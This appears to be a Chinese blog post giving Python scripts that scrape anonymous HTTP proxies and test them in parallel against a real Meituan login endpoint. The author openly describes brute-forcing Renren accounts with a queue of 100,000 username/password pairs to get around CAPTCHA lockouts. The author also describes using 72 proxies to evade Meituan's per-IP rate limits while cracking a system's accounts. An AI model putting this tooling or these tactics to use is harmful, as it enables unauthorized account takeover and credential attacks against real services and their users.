Python批量抓取与验证HTTP代理的实战脚本
本文分享一个Python脚本,用于批量抓取和验证HTTP代理。通过维护账号密码队列挂起策略,有效绕过人人网验证码;利用多IP并发请求解决美团网频率限制。脚本包含从西刺代理抓取列表及多线程验证可用性的完整代码,适用于自动化测试与数据采集场景。
在进行人人网账号扫描时,曾遇到单个账号连续错误两次后强制要求输入验证码的情况,而对方并未对IP实施限制策略。
为解决此问题,采用了维护包含10万个(用户名,密码)组合的队列机制来绕过验证码。具体操作是:当某个用户名和密码组合触发验证码时,将该破解序列挂起并移至队列尾部等待后续测试,同时继续处理其他账号密码。
这种策略确保了约2/3的时间可用于正常的破解和扫描操作。
在破解美团网某系统账号时,遇到了单个IP访问频率受限的问题,请求速度不能过快。为此,部署了72个HTTP代理以解决该限制。尽管单个IP的请求看似正常,但从整体程序运行来看,效率依然显著。
本文分享用于抓取HTTP代理的脚本片段,代码仅数行。匿名代理数据来源于:http://www.xici.net.co/nn/。
首先执行代理列表的获取操作:
from bs4 import BeautifulSoup
import urllib2
of = open('proxy.txt' , 'w')
for page in range(1, 160):
html_doc = urllib2.urlopen('http://www.xici.net.co/nn/' + str(page) ).read()
soup = BeautifulSoup(html_doc)
trs = soup.find('table', id='ip_list').find_all('tr')
for tr in trs[1:]:
tds = tr.find_all('td')
ip = tds[1].text.strip()
port = tds[2].text.strip()
protocol = tds[5].text.strip()
if protocol == 'HTTP' or protocol == 'HTTPS':
of.write('%s=%s:%s\n' % (protocol, ip, port) )
print '%s=%s:%s' % (protocol, ip, port)
of.close()随后验证代理是否可用。由于该脚本用于破解美团网系统账号,因此使用了美团页面的特定标记进行判断:
#encoding=gbk
import httplib
import time
import urllib
import threading
inFile = open('proxy.txt', 'r')
outFile = open('available.txt', 'w')
lock = threading.Lock()
def test():
while True:
lock.acquire()
line = inFile.readline().strip()
lock.release()
if len(line) == 0: break
protocol, proxy = line.split('=')
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'Cookie': ''}
try:
conn = httplib.HTTPConnection(proxy, timeout=3.0)
conn.request(method='POST', url='http://e.meituan.com/m/account/login', body='login=ttttttttttttttttttttttttttttttttttttt&password=bb&remember_username=1&auto_login=1', headers=headers )
res = conn.getresponse()
ret_headers = str( res.getheaders() )
html_doc = res.read().decode('utf-8')
print html_doc.encode('gbk')
if ret_headers.find(u'/m/account/login/') > 0:
lock.acquire()
print 'add proxy', proxy
outFile.write(proxy + '\n')
lock.release()
else:
print '.',
except Exception, e:
print e
all_thread = []
for i in range(50):
t = threading.Thread(target=test)
all_thread.append(t)
t.start()
for t in all_thread:
t.join()
inFile.close()
outFile.close()本站声明
本文内容仅供参考,不代表本站观点。转载或引用请注明出处。如发现内容问题,请通过联系我们页面反馈。













